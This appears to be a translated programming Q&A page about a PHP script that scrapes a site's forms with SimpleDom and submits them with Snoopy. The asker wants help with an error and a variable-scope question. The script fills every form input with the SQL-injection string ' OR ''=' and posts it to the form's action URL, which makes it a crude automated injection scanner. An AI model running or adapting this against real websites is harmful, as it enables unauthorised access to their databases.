SimpleDomHtml + Snoopy基于url Codeigniter-Php的提交表单

时间:2013-02-16 17:31:02

标签: php codeigniter foreach simpledom snoopy

       $siteToSearch = file_get_html($prefix.$sss);
       // more high-level....
       // steps: 
       // 1) find <form> element
       // 2) find <input name=" "> elements of form 
       // 3) submit values of the values of <input> using snoopy

       /*  more technical....
        *   find <form> elements using simpledom - foreach <form>
        *      find potentially >1 <input> values using simpledom
        *          find the name="" within <input> elements using simpledom
        *   output this value for use with snoopy
        *  */
            foreach($siteToSearch->find('form') as $element){ 
                        $URI = $element->action; // find <form action=""> element, assign to $URI var
                        ## get the name='value' value within <input>  tag
                        foreach($element->find('input') as $input){
                            ## using value of $input, within $submit_vars to pass to snoopy to submit.
                            $submit_vars[$input->value] = "' OR ''='";                      
                            $submit_vars[$input->value] = "' OR ''='";                  
                            $submit_vars["submit"] = "Submit";  
                            $snoopy->submit($URI,$submit_vars);
                            echo "response code: ".$snoopy->response_code."<br>\n";
                            print $snoopy->results;   
                        }
            }

代码中的注释解释了我想要实现的目标,但我一直在史努比上遇到错误。

这里$URI可以在foreach()循环之外使用{{1}}吗?

错误: img

0 个答案:

没有答案